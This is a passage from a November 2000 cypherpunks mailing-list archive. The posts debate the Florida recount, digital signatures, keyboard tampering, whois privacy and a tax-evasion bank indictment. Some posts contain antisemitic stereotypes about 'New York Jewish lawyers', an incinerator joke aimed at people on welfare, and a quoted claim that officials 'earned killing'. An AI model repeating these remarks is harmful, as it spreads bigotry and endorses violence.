tax laws. # # Members of the group have declared themselves sovereign citizens # exempt from paying taxes, officials said. # # The illegal bank, operated out a warehouse just east of Portland, # offered customers anonymous banking transactions to conceal income # and assets, according to IRS Special Agent Kathleen Sulmonetti. # Nine hundred customers deposited $186 million in the warehouse # bank with the money then being shuffled into legitimate commercial # bank accounts, she said. From honig at sprynet.com Fri Nov 17 09:24:34 2000 From: honig at sprynet.com (David Honig) Date: Fri, 17 Nov 2000 12:24:34 -0500 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was In-Reply-To: <20001116235009.A13565@cluebot.com> References: <3.0.6.32.20001116175218.007a7ba0@pop.sprynet.com> Message-ID: <3.0.6.32.20001117091239.00795b60@pop.sprynet.com> At 11:50 PM 11/16/00 -0500, Declan McCullagh wrote: >On Thu, Nov 16, 2000 at 08:56:12PM -0500, David Honig wrote: >> >> Herr Bear's two paragraphs below are among of the most clear, concrete >> explanations of 'why security is hard/ crypto is insufficient' that I've >> read. Clear to a programmer, anyway. >> >> But still, I think that the vast majority of users will end up >> trusting something, and the vast majority will be well secured. >> Most do not, for example, worry about black-bag jobs. >> >> How many hardcore cpunks have reverse engineered the source >> to the security apps they actually use? PGPDisk *and* PGPfone *and* >> PGP version whatever? With time left over for SSL? And you do regular RF >> sweeps too? Do you work on your own brakes, too? > >No, I don't do those things. I hire an accountant for my taxes, a >lawyer for such affairs, a mechanic for my car, and so on. Modern >society is build on trust relationships in a free market, combined >with a division of labor. > >Crypto is subtle, true, but so is tax law, litigation, and modern >automotive control systems. It is not in principle different from >those areas, where money, property, and life is at stake, and we trust >others to help us. > >-Declan So it seems we agree, that most folks will end up trusting a gizmo and/or code they haven't personally inspected. The engineers' goal then becomes to design [a range of] architectures that are as trustworthy and foolproof [1] as they can be. (The lawyers' goal should be to get a fair and reasonable legal infrastructure to support them, where appropriate, e.g., crypto sigs. The marketeers' goal is to figure out how to pay for the implementation and profit off its use.) [1] You can be foolproof and not trustworthy, but you must be foolproof to be trustworthy. From baptista at pccf.net Fri Nov 17 09:30:50 2000 From: baptista at pccf.net (Joe Baptista) Date: Fri, 17 Nov 2000 12:30:50 -0500 (EST) Subject: CDR: RE: What got censored today... (fwd) In-Reply-To: <10D1CDA5E7B0D41190F800D0B74585641C7391@cobra.netsolve.net> Message-ID: On Fri, 17 Nov 2000, Carskadden, Rush wrote: > I can't read it very well. What does it say? It's a little sign that says "USE ORSC DNS" or something like that - see www.yourcann.org for more data. Joe > > ok, > Rush > > > -----Original Message----- > From: Jim Choate [mailto:ravage at einstein.ssz.com] > Sent: Thursday, November 16, 2000 9:43 PM > To: cypherpunks at einstein.ssz.com > Cc: sci-tech at einstein.ssz.com > Subject: What got censored today... (fwd) > > > > > > ____________________________________________________________________ > > He is able who thinks he is able. > > Buddha > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- > > ---------- Forwarded message ---------- > Date: Thu, 16 Nov 2000 19:27:13 -0800 > From: Simon Higgs > Reply-To: orange at dns.list > To: orange at dns.list > Subject: What got censored today... > > > > http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica > nn-111600&start=0-09-04 > > Starts at 2:18:20 > > Lasts about five seconds before Mr Anal-Retentive-Bald-Video-Guy censors it. > > -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From George at Orwellian.Org Fri Nov 17 09:35:14 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 12:35:14 -0500 (EST) Subject: CDR: Re: Bob's Bank. Hi, I'm Bob. Just slip it in this pocket here. Message-ID: <200011171735.MAA22156@www7.aa.psiweb.com> Marshall Clow wrote: # 900 people --> $186M. That's $206K each. # That's a lot of money to put into a 'bank'. Wow, money goes a lot further when it's not taxed, eh? ;-) From jya at pipeline.com Fri Nov 17 09:35:29 2000 From: jya at pipeline.com (John Young) Date: Fri, 17 Nov 2000 12:35:29 -0500 Subject: CDR: Re: Bob's Bank. Hi, I'm Bob. Just slip it in this pocket here. In-Reply-To: References: <200011171652.LAA24887@www2.aa.psiweb.com> <200011171652.LAA24887@www2.aa.psiweb.com> Message-ID: <200011171741.MAA11237@granger.mail.mindspring.net> Docket as of November 16, 2000 7:16 pm Page 9 Proceedings include all events. 3:00cr539-ALL USA v. Flowers, et al 11/15/00 1 INDICTMENT by AUSA Jen E Ihlo, Melissa Schraibman. Counts filed against Richard George Flowers (1) count(s) 1, 2-3, Dorothy Lenore Flowers (2) count(s) 1, 2-3, Jeffrey Allen Weakley (3) count(s) 1, 4-5, John David Anderson (4) count(s) 1, 6-7, Ronald William Stacey (5) count(s) 1, 8, Elecia Stacey (6) count(s) 1, 8, Dan Romaine Kirkham (7) count(s) 1, 9 CONSPIRACY TO DEFRAUD THE UNITED STATES, WILLFUL FAILURE TO FILE TAX RETURNS, ATTEMPT TO EVADE AND DEFEAT PAYMENT OF TAX (rupe) [Entry date 11/16/00] 11/15/00 -- PURSUANT to this courts Case Assignment Plan, this case to be assigned to JUDGE GARR M. KING for all further proceedings. (rupe) [Entry date 11/16/00] 11/15/00 2 ARREST WARRANT ISSUED for Defendant Richard George Flowers DETENTION REQUESTED. by Judge Dennis J. Hubel (rupe) [Entry date 11/16/00] 11/15/00 3 ARREST WARRANT ISSUED for Defendant Dorothy Lenore Flowers DETENTION REQUESTED. by Judge Dennis J. Hubel (rupe) [Entry date 11/16/00] 11/15/00 4 ARREST WARRANT ISSUED for Defendant Jeffrey Allen Weakley DETENTION REQUESTED. by Judge Dennis J. Hubel (rupe) [Entry date 11/16/00] 11/15/00 5 ARREST WARRANT ISSUED for Defendant John David Anderson DETENTION REQUESTED. by Judge Dennis J. Hubel (rupe) [Entry date 11/16/00] 11/15/00 6 ARREST WARRANT ISSUED for Defendant Ronald William Stacey DETENTION REQUESTED. by Judge Dennis J. Hubel (rupe) [Entry date 11/16/00] 11/15/00 7 ARREST WARRANT ISSUED for Defendant Elecia Stacey DETENTION REQUESTED. by Judge Dennis J. Hubel (rupe) [Entry date 11/16/00] 11/15/00 8 ARREST WARRANT ISSUED for Defendant Dan Romaine Kirkham DETENTION REQUESTED. by Judge Dennis J. Hubel (rupe) [Entry date 11/16/00] ----- First six arrested; Dan Romaine Kirkham, described by the NY Times as a lawyer and physician, is being sought. According to court records several of the defendants had aliases, one "Joseph S Pack." From k.brown at ccs.bbk.ac.uk Fri Nov 17 04:35:56 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Fri, 17 Nov 2000 12:35:56 +0000 Subject: CDR: Re: Florida reject stats References: <200011171045.FAA27000@www1.aa.psiweb.com> Message-ID: <3A15262C.CB169824@ccs.bbk.ac.uk> George at orwellian.org posted: [...snip...] > http://foxnews.com/election_night/111600/uncounted.sml [...snip...] > # > # Some counties had startlingly large numbers of ballots that > # weren't counted. All three of these used punchcards: > # > # - In Miami-Dade County, 28,601 ballots were not counted in the > # presidential race, out of about 654,044 cast. > # > # - In Palm Beach County, home of the controversial "butterfly > # ballot," 29,702 votes weren't counted out of 462,888 total. > # > # - In Jacksonville and surrounding Duval County, 26,909 votes > # went uncounted out of 291,545 cast. [...snip...] At last someone mentioned the numbers! I make that about 4.4% uncounted in Dade (top of the normal range I guess), 6.4% in Palm Beach (bad) and 9.2% in Duval (pathetic). The voters of those counties have every right to complain. Whether or not that should effect the outcome of your nationwide election is, I suppose, up to your constitution. (Of which my own limited I-am-neither-a-lawyer-nor-an-American understanding agrees with the entity posting as "Jonathan"'s: jonathan at screaming.org wrote: > d) As with (c) above, the US popular vote is statistically a draw--but > we have a mechanism to deal with this event: it's called the Electoral > College. As defined in its duties by the Constitution, the delegates > are to meet on Dec 18th IIRC, and there is no provision for them > showing up late. In fact, IIRC, he who gets the majority of them > present wins, and "them" need not be all there could be--just all of > them there that day. > > e) As with (c) and (d) above, if Florida can't get their Poop in a > Pile by Dec. 18th, then they don't get to play. Tough shit. (And IMHO, > it serves them right; they've had a demonstrably fucked process for at > least two terms, and haven't fixed it. Maybe this will give the People > of Florida the impetus to get with the ballgame the next time around.) From sunder at sunder.net Fri Nov 17 10:13:40 2000 From: sunder at sunder.net (sunder) Date: Fri, 17 Nov 2000 13:13:40 -0500 Subject: CDR: Secure Keyboards References: Message-ID: <3A157554.CBE0A53C@sunder.net> "A. Melon" wrote: > Speaking of secure keyboards, what would one look for inside the keyboard > to determine if it were compromised? Or would the best approach be to buy a > new keyboard, open it, and photograph the interior with a good camera under > good light at close range, perhaps subtly marking various items first and > recording the marks. And perhaps also using some sort of sealant on the edges > when closing it back up that would show any tampering? Not of a hell of a lot with PC keyboards. 1. You can epoxy shut the keyboard itself so it can't be opened. But, they can tap the cable, or get another keyboard of the same brand and epoxy it shut the same way you did. 2. If you protect the cable as well, they can use a keyboard capture program, or they can tempest detect your keystrokes. 3. Further, the usual trick is to hide a pinhole camera above where your keyboard is (ceiling tiles usually), so you'd have to sweep for cameras. It's not a pretty situation. -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From ptrei at rsasecurity.com Fri Nov 17 10:27:35 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Fri, 17 Nov 2000 13:27:35 -0500 Subject: CDR: RE: What got censored today... (fwd) Message-ID: I see a small sign, with 3 lines of text. The middle row reads "DNS" pretty clearly. The bottom appears to be "ROOT" . The top row is 4 characters. I think the last three are "ASD" or "ASE". I think it may say BASE or CASE So, one interpretation is BASE DNS ROOT but I'm far from certain about the first word. To bad the guy didn't get closer. Peter > ---------- > From: Carskadden, Rush[SMTP:carskar at netsolve.net] > Reply To: Carskadden, Rush > Sent: Friday, November 17, 2000 11:20 AM > To: 'cypherpunks at einstein.ssz.com' > Subject: RE: What got censored today... (fwd) > > I can't read it very well. What does it say? > > ok, > Rush > > > -----Original Message----- > From: Jim Choate [ mailto:ravage at einstein.ssz.com] > > http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=i > cann-111600&start=0-09-04 > > Starts at 2:18:20 > > Lasts about five seconds before Mr Anal-Retentive-Bald-Video-Guy censors > it. > > From George at Orwellian.Org Fri Nov 17 10:39:19 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 13:39:19 -0500 (EST) Subject: CDR: Court system greased lightning. Message-ID: <200011171839.NAA03197@www2.aa.psiweb.com> Wow, a FL 3-judge panel already passed Gore's appeal up to the FL Supreme Court. Another basis of appeal can only start after Harris certifies the result tomorrow. It will be interesting to see if Dubya emerges after certification. Obviously, Gore won the most votes as people _tried_ to vote. O'Reilly will be on (not a repeat) Sat 8 P.M. FoxNewsChannel. Someone was flying a plane with a banner ad showing Gore in Grinch Green[Tm] on a broomstick, text, "Surrender Gorethy!" Danger! Do not tease Happy Fun Ball. From tcmay at got.net Fri Nov 17 12:05:50 2000 From: tcmay at got.net (Tim May) Date: Fri, 17 Nov 2000 15:05:50 -0500 Subject: CDR: Re: Aces high (long reply) In-Reply-To: <200011170553.WAA24001@montana.ultimate.screaming.org> References: <200011170553.WAA24001@montana.ultimate.screaming.org> Message-ID: At 1:02 AM -0500 11/17/00, jonathan at screaming.org wrote: > > Even if meant in jest, as a comment on the situation, it undermines >> the basic issue of law. > >Hear hear. > >I have to say that I agree that what has been proceeding in FL has the >possible impacts of undermining some basic issues of Constitutional >Law(tm). Unfortunately, I also have to agree (on this one issue) with >Commrade Troll G. Orwell vis-a-vis Mr. May's objectivity on this >point(*). "Objectivity" is subjective. The Dems say they are being "objective" about continuing to count and scrutinize and challenge "third trimester pregnant chads." The Reps say they are being "objective" by following the law. The Dems say they are being objective by saying the law is something different. And so on. Look, I would feel just as offended if the Dems had won the legal count in Florida and the Reps had then trotted out some Good Ole Boys and brought in David Dukes of the KKK (*) to argue along the lines of "Shit, we done got _con-foosed_ by that there ballot, cuz we planned to vote for our man Bush and we done got con-foosed by all the holes on that there ballot." (* David Dukes being the parallel to Jesse Jackson, who has called New York City "Hymietown" and who has called for a race war if Al Gore is not annointed.) I confess to having held my nose and voted for Bush, as the Lesser of Two Evils. My brother put it well, paraphrasing what he told me: "Bush is an idiot. Gore is a robot. I am voting on just the one issue which matters most to me: my gun rights. Gore wants to take away private guns, and Gore will appoint Supreme Court judges, so I am voting against Gore. Against Gore, not _for_ Bush." Having made my confession, does this affect my evaluation of the circus in Florida? Perhaps a bit. But, as my "Close Elections and Causality" piece outlined, fairly objectively I think, the circus was predictable just as soon as all the charges about how Event A "caused" the outcome could be raised. "The butterfly ballot _caused_ Al Gore to lose votes, and hence the official count." "The networks calling Florida a Gore win before the polls closed in the Panhandle _caused_ more than the margin of disputed voters to go home before voting, and so that _caused_ the current problem. Bush easily would have gotten an extra few thousand votes." And now the latest: "It's not right that absentee voters who don't even live here will _decide_ the outcome." All of these putative causes ignore the _causality_ arguments I made earlier. The 300 absentee ballots from Wiesbaden and Ramstein and Tel Aviv are NO MORE IMPORTANT than any other group of 300 ballots. Their _apparent_ importance is an artifact of the order in which the ballot results came in. What does this have to do with Jonathan's points? I'm trying to explain why I am so pissed off with the pissing and moaning about how the Official Count (Bush ahead by 305 as of 11:20 PST) is symptomatic of our pissing and moaning society. And, yes, I would be about as angry if it were Good Ole Boys pulling the same stunts if Al Gore were to be legitimately ahead. By the way, as I have said more than once, I'd almost rather have Gore win. Though I would likely dislike his Supreme Court nominees, it's now unlikely he can ever get anything done. Ditto for Bush, which is good. However, if Gore loses, his nattering nabobs like Jesse Jackson, Al Sharpton, Carol Roberts ("I'm willing to go to jail!"), and Alec Baldwin ("I'll leave the country if Bush wins.", and so on, will mobilize and will probably swing to the left and will win the Congress back in 2002 and probably will annoint Hillary as their candidate in 2004. Better to have Bush and his folks sniping from the sidelines for the next four years than this horrible outcome. > >a) The state of Florida has a recent history of poorly conducted >elections, with allegations of tampering, confusion, etc. like those >we now hear being relatively commonplace. Not really. New Mexico, Wisconsin, and Illinois appear to have more problems. The "allegations of confusion" are recent. Sure, one can always find some idiot who can't follow simple instructions. As some are saying, this election shows that maybe too many Floridian retirees are being kept alive too long by medical science. In any case, demanding selective recounts to bolster one side or the other is not kosher. If machine balloting, which has until now been seen as a _step forward_, is to be replaced by partisan hand-counting, we will have worsened things, not made them better. There are some important CRYPTO-related points here. First, "bit commitment." This is the notion that a piece of information NOT KNOWN TO EITHER SIDE is "committed to." A flipped coin that is covered by a hand. Or a coin still in the air. (The outcome has not been committed to, but the process is assumed to be beyond the influence of either side.) This is equivalent to both sides saying IN ADVANCE that they understand that while machine ballots may not be perfect, because nothing is, that they accept the outcome of a machine count ABSENT COMPELLING EVIDENCE OF FRAUD. That is, in advance of the vote they acknowledge that a machine ballot represents our best technological solution to the problems of counting millions or tens of millions of ballots. Bit commitment = acceptance of the rules (The "Absent compelling evidence of fraud" covers the case where a machine has been altered, where the software is defective, etc. It should NOT include some argument that manual recounts may turn up a slightly different count and thus alter the results given by the machine count. I don't believe either the Dems or the Reps would have, IN ADVANCE of the election, accepted a proposal that close elections should be hand-counted in the hopes that "noise" or "jitter" in the process would alter the outcome.) Second, and closely related, is the issue of "current knowledge." The essence of many crypto protocols is that the rules don't change in midstream. This is whey we speak of "fair arbiters," perhaps related to escrow agents and n-out-of-m votes. So what we are seeing now is both sides, but especially the Democrats, trying to change the rules, picking selective precincts to recount, and arguing for exceptions to the legal rules...all based on INCOMING AND CHANGING INFORMATION. The lawsuits, for example, are being filed based on expectations of outcomes. Hence the blizzard of suits. (I have more to say on this topic, but will pass on it for now.) > >b) The above notwithstanding, Florida state LAW dictates that >Candidates may LAWFULLY request manual recounts of ANY or ALL counties >of their choosing, providing such requests are filed within 72 hours >of the election, and providing they meet other LAWFUL criteria >(emphasis mine, obviously, to make the point that the relevant >statutes don't state that any particular party must be given a clear >advantage in such proceedings, eg. because he's Jewish, or because >Crack Whores like him, etc.--see (f) below). By the way, I'd favor a system where those calling for recounts pay the full costs. And I doubt strongly that some peon can call for such a recount...it's all controlled by the main parties. And every state has language saying that votes may be challenged. Fair enough. I'm not suggesting otherwise. But if machine balloting is the technology agreed-upon by all major sides--Dems and Reps--and, indeed, if both major sides had _lobbied-for_ the new technology of machine ballots, then IT IS NOT KOSHER for a challenge to be of this form: "Yes, we as Democrats lobbied for machine voting. Yes, we controlled the Florida legislature during the many decades during which this was debated. Yes, the machines were installed during the reign of Lawton Chiles. Yes, yes, yes. But, now that we appear to be behind in the machine count, we are hopeful that reverting to the older, more error-prone system of manual counts will possibly give us the margin of votes we are praying for." This is the essence of changing the rules based on incoming information. This is why "bit commitment" means the ground rules are established beforehand, before any such incoming information is available. The Dems would be outraged if a machine count favored the Dems but some Good Ole Boys were dragging out the process in the kind of circus we are seeing now. And they would be justifiably outraged. And, I think I can assure you, I would not be arguing for the Good Ole Boys' position on the basis of rabble-rousing rhetoric like "But the true will of the people must be heard!" Rules are rules. The voting procedure was established and agreed-to by both major parties, perhaps even all N national parties. (I don't know about this, but I assume it to be so.) Legal challenges to the outcome should only be allowed if evidence is presented of significant fraud. The fact that the hand count shows different results than the machine count is not such evidence. (And, indeed, advocates of various kinds of balloting have had many years, many decades, to publish learned articles on chads, pregnant chads, undercounts, mutilated ballots, dimples, etc.) > > >c) The results of the Florida election remain within a win/lose margin >much smaller than the statistical margin of error of *any* counting >system (by at least one order of magnitude), regardless of counting >mechanism. (Many invokations of the statistics of scale have been >brought to bear on this point in this forum, but the reality remains >that by any rational statistical analysis, the state of Florida must >be considered a draw. No amount of recounting--or lack >thereof--appears to negate this fact. To argue FOR recount after >recount is as statistically invalid as is to argue for NO recounts, as >is to argue for a die toss, a card game, a duel (my favorite, as >someone must die), etc. When a binary decision margin is smaller than >the statistical margin of error, the answer is UNDEFINED. Duh.) I generally agree. However, "must be considered a draw" is not part of the rules and laws established beforehand. A winner is always assured, except in the vanishingly-small chance of literally a draw. (And, even then, the case should not then be thrown in the courts to debate whether a particular piece of chad was dimpled, or a swinging door, or whatever. This just throws the election to a panel of partisan judges.) > >f) Getting back to Florida's current problems, and (b) above, if GWB's >camp had been on the ball, they'd have requested all of their >recounts, manual or otherwise, within or without of Florida, by the >damn deadlines. Instead, they were too busy Spinning for the Crowd >about how He'd Won (by a statistically invalid margin), and only too >late realized that AG's campaign had taken LAWFUL means to dispute the >Arrogant Son's ascension to his Invalid Throne. You're more cynical than even I am. You are right that the Reps failed to bring in enough high-powered NewYork Jewish lawyers. Al Gore hired better shysters than George Bush did. As I have said, this election may well be won by the same lawyers who got O.J. Simpson off. (And a big part of me would be thrilled. Already the chad rooms (pun intended) are buzzing with calls to start killing lawyers, to cut off all welfare systems, to "take back our country.") > >g) Based on all of the above, the act of a Candidate exercising his >right to call for per-state sanctioned recounts, of whatever >prescribed manner, should not be abbrogated, in case of the event that >a statistically valid margin can be demonstrated, in however partisan >a manner (they've both got the same rules to play by). This is what we >call the Rule Of Law (cf. May above). Any Secretary of State, >Candidate, or Lawscum seeking to abbrogate that process has earned >killing. The conversion from hand-counting to machine-counting was a good one. Despite what the Democrats are saying about "Bush trusts machines, not people," both parties and a majority of legislators clearly understood that there may be differences between machine counts and hand counts. Arguing in favor of hand counts, AFTER THE MACHINE COUNTS ARE KNOWN, is not, as I keep saying, kosher. The real argument is not that hand counts are fairer, but that Al Gore may get some additional votes. I hope Al Gore uses his New York shysters to steal this election. Then the real fun will begin. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From Lynn.Wheeler at firstdata.com Fri Nov 17 15:13:36 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Fri, 17 Nov 2000 15:13:36 -0800 Subject: CDR: RE: Schneier: Why Digital Signatures are not Signatures (was Re :CRYPTO-GRAM, November 15, 2000) Message-ID: <8525699A.007A59E9.00@lnsunr02.fl.firstdata.com> there are issues about authentication ... like conceptual frame-works of something you have, something you know, and something you are. it is possible to put together digital signature authentication technology/frame-works involving digital signature that are dependent on one or more pieces of 3-factor authentication. legal "signatures" as indication of intent have involved issues like counterfeit and understanding (and various regulations about font-sizes, wording, different expectations about prudent person, etc). a digital signature, once executed is a lot harder to counterfeit (compared to various written signatures) ... however there is much less direct correlation between intention and the act of executing a digital signature. digital signature in conjunction with various process that can proove that every digital signature executed was directly dependant on various combinations of 3-factor authentication (for each and every digital signature executed) attempts for a tighter correlation and demonstrate some degree of actual binding (between intention and signature execution). however, they also introduce new technology challenges ... there is now a significantly wider gap between the presentation of the information that a person may be agreeing to ... and the actual representation that is involved in executing digital signatures. paper documents also have had the advantage that the presentation of the information and the signature application is nearly identical technology .... much closer binding between the representation of what is being agreed to and the method of indicating that agreement. There are not a whole lot of cases where as the person is using a pen to sign a specific piece of paper ... that the pen can wonder off and sign a totally different piece of paper (like radar getting week-end passes signed in the MASH show). So the understanding issue pretty much stays the same in both environments (digital signature and paper signature) ... digital signatures (in conjunction with the appropriate authentication framework) can reduce the instances of counterfeit signatures being applied to documents ... but also opens up the instances where what a person is presented isn't necessarily what the person is signing. So one issue might be ... all other factors being equal ... is the magnitude of any counterfeit reduction significantly greater than the increase in the "what you see is what you sign" problem and the "did the person actually intend/confirm that particular signature" problem. "Paul Kierstead" on 11/17/2000 06:09:02 AM Please respond to paul.kierstead at alcatel.com From tom at ricardo.de Fri Nov 17 06:50:07 2000 From: tom at ricardo.de (Tom Vogt) Date: Fri, 17 Nov 2000 15:50:07 +0100 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re:CRYPTO-GRAM, November 15, 2000) References: <000501c0509f$f073b1b0$543e788a@pkierste.ca.newbridge.com> Message-ID: <3A15459F.8272663B@ricardo.de> Paul Kierstead wrote: > > The Word example actually has other worrying problems not mentioned. A Word > document contains a lot of hidden information, including other versions. It > would be quite easy to sign a Word document that, when you viewed it, looks > significantly different then it could be displayed without violating the > signature. This is due to numerous problems, the most basic of which is that > we often don't sign what we view but instead some binary that we _believe_ > represents what we viewed but often does not. This is not just theoretical > nor esoteric, but quite easy as the Word example shows. the answer to THAT is quite obvious, isn't it? I never sign anything that's not plain text. if you put your signature on a multi-page document without opening it, that's your fault. I know the word example is more complicated, and most people have 0.0 clue about those possibilities, but again: that's their problem. don't sign something that you don't understand. From George at Orwellian.Org Fri Nov 17 13:18:45 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 17 Nov 2000 16:18:45 -0500 (EST) Subject: CDR: Florida Supreme Court freezes certification Message-ID: <200011172118.QAA27768@www6.aa.psiweb.com> Florida Supreme Court freezes certification. (That's it.) From abs at squig.org Fri Nov 17 17:00:20 2000 From: abs at squig.org (Alex B. Shepardsen) Date: Fri, 17 Nov 2000 17:00:20 -0800 (PST) Subject: CDR: ICANNt have privacy with whois In-Reply-To: Message-ID: I'm sick of people complaining about whois. There is *no* verification of the authenticity of the whois information. You can lie. You can give 555-1212 as your phone number. You can give post office boxes as your address. You can get your ISP to register the domain in their name. If you're going to piss and moan about something, don't it something as frivilous as whois. Let's look at health care plans, such as Cigna, that require your SSN to be your member ID number, or something that's more important than domain names. Verisign runs .com, .net, and .org? Snort. Actually, each registrar runs its own whois server. This article isn't even accurate. Alex On Wed, 15 Nov 2000 anonymous at openpgp.net wrote: > Public Records Questioned on Web > > By ANICK JESDANUN, AP Internet Writer > > > MARINA DEL REY, Calif.--As more individuals build their own Web sites, > some privacy advocates now question requirements that the site owners disclose > their personal contact information. > Names, e-mail addresses, postal addresses and telephone numbers for more > than 24 million domain names are stored in databases called Whois. The > information is available to anyone with an Internet connection. > Its like a global phone directory -without the option for an unlisted number. > "Sacrificing your privacy should not be a condition of access to the domain > space," said Alan Davidson, staff counsel with the Center for Democracy and > Technology. > Most people may not care and would list their contact information anyway, > just like most telephone customers now list their numbers. > But Davidson said Internet users ought to have a choice -for instance, they > may want to stay anonymous if they are human rights advocates and other > dissidents fearful of repercussion from oppressive governments. > Ellen Rony, author of the Domain Name Handbook, said she knew of > someone stalked based on information from the databases. > On the other hand, she said, the tool proves helpful for researchers to gauge > the origins and veracity of Web sites, and the stalking incident appears an > aberration. > "I can see both sides," she said. "Historically, Whois is always public." > The Internet Corporation for Assigned Names and Numbers, which oversees > the master record keeper of Web addresses and the domain registration > companies, currently requires disclosure of contact information for holders of > .com, .net and .org names. > Andrew McLaughlin, ICANNs chief policy officer, said the organization may > have to revisit Whois policies next year, but it is not on the agenda for its annual > meeting this week. > Part of the drive comes from the European Union, which passed a law > prohibiting the transfer of data to the United States and other non-EU countries > that dont meet EU standards for protecting personal information. > Back in the 1980s, when the Whois database was developed, Internet privacy > wasnt a big deal. The Internet was mostly a research tool for government and > universities. > "We all knew each other," said Karl Auerbach, a longtime Internet user who > was recently elected to ICANN. > But these days, Auerbach said, that same Whois database creates unwanted > e-mail and unsolicited phone calls. > Davidson said times have changed, and the Internet must change as well. > "Now, you have regular people using it and theres a much greater need to > protect privacy," he said. > Registration companies offer access to the databases in order to let users > determine whether the domain names they want are available. But when a name is > taken, the registrar often links to the records for that name as well. > The idea is to help users contact the names owner for possible purchase, even > though the databases originally helped computer administrators contact one > another when networks go awry. > Lawyers also use the databases to check on names that may tread on their > clients trademark rights. Steven J. Metalitz, vice president for the International > Intellectual Property Alliance, said such open access is important to deter abusers. > At VeriSign Global Registry Services, which runs the databases for .com, .net > and .org, Vice President Chuck Gomes said technology may settle the issue in the > next year or two. > New tools, he said, could help meet the needs of law enforcement officials and > trademark owners while protecting privacy for individuals in other circumstances. > In the meantime, the records remain open, and many of the proposals for new > domain suffixes call for open Whois databases as well. > "Its the model thats out there," said John Kane, head of a marketing task > force for Afilias, which is seeking a .web suffix. "Its a public resource. You dont > own a domain name. You own the right to use it." > > http://www.latimes.com/wires/20001115/tCB00V0232.html > > > From openpgp at openpgp.net Fri Nov 17 14:08:17 2000 From: openpgp at openpgp.net (Openpgp) Date: Fri, 17 Nov 2000 17:08:17 -0500 Subject: CDR: Re: Florida Supreme Court freezes certification In-Reply-To: <00111703590602.11495@reality.eng.savvis.net> Message-ID: On Fri, 17 Nov 2000, Jim Burnes wrote: > On Fri, 17 Nov 2000, George at Orwellian.Org wrote: > > Florida Supreme Court freezes certification. > > > > (That's it.) > > Hmmm. That would seem to be a violation of separation of powers. > > The Florida deadline law is very clear. If the Florida Supreme > Court wishes to rule on a suit that the Dems bring up then that > is their authority, but preventing the Secretary of State from > doing her duly appointed job seems to be a violation of > separation of powers. > > What if Jeb Bush told her to do it? Who wins? The executive > authority or the judicial? > > Since when did the Florida Supreme Court have executive authority? They don't. :) What is more interesting is the fact the the Judiciary has no enforcement powers. Jeb Bush can tell them to go screw and there is not a dam thing that they can do about it. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html --------------------------------------------------------------- From honig at sprynet.com Fri Nov 17 14:31:01 2000 From: honig at sprynet.com (David Honig) Date: Fri, 17 Nov 2000 17:31:01 -0500 Subject: CDR: Re: Aces high (long reply) In-Reply-To: References: <200011170553.WAA24001@montana.ultimate.screaming.org> Message-ID: <3.0.6.32.20001117142705.0079ac90@pop.sprynet.com> At 03:05 PM 11/17/00 -0500, Tim May wrote: >years, many decades, to publish learned articles on chads, pregnant >chads, And despite all the talk, chad pregnancy is still a problem in America today. You know all those chads are just going to end up on welfare. From tcmay at got.net Fri Nov 17 14:45:33 2000 From: tcmay at got.net (Tim May) Date: Fri, 17 Nov 2000 17:45:33 -0500 Subject: CDR: Re: Aces high (long reply) In-Reply-To: <3.0.6.32.20001117142705.0079ac90@pop.sprynet.com> References: <200011170553.WAA24001@montana.ultimate.screaming.org> Message-ID: At 5:31 PM -0500 11/17/00, David Honig wrote: >At 03:05 PM 11/17/00 -0500, Tim May wrote: >>years, many decades, to publish learned articles on chads, pregnant >>chads, > >And despite all the talk, chad pregnancy is still a problem in America >today. You know all those chads are just going to end up on welfare. > They burn real well. Just feed them into the incinerators. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From Somebody Fri Nov 17 17:52:53 2000 From: Somebody (Somebody) Date: Fri, 17 Nov 2000 17:52:53 -0800 Subject: Atlanta Fed on a Theory of Financial Privacy Message-ID: No, it doesn't use the "B" word, but it is fun to see someone _define_ money as "a technology that allows consumer A to anonymously conduct a transaction with firm B." I am stirred to view the referenced literature in which record-keeping and credit are related to currency. One of the most common counter-arguments to bearer transactions has been to point out that the cost of centralized bookkeeping is falling and our ability to scale it is rising (e.g. DTC, FederalReserve, NSCC, CREST. These, the argument goes, handle huge centralized bookkeeping and credit scorekeeping chores with a very low per item cost.) In fact this argument is mentioned in this tract. The insight here is to note that transactions carry a "privacy right" with them, iff they can be conducted anonymously, and this can affect the bargaining process. For the time being, it remains an intellectual/academic exercise whether anonymous e-money is the most cost effective solution, or whether privacy can be economically grafted onto huge bookkeeping data processing systems. To some of us the answer is intuitive, but I'm sure it will come down to "bits on the wire" before we have very many believers. "R. A. Hettinga" wrote: > Lions and Tigers and Coasian Microeconomics, oh, my... > > http://www.frbatlanta.org/publica/work_papers/wp00/wp0022.pdf > > No mention of the "B" word, but, then, they're not supposed to, yet, right? > > :-) > > Cheers, > RAH > > ------------------------------------------------------------------------ > Name: 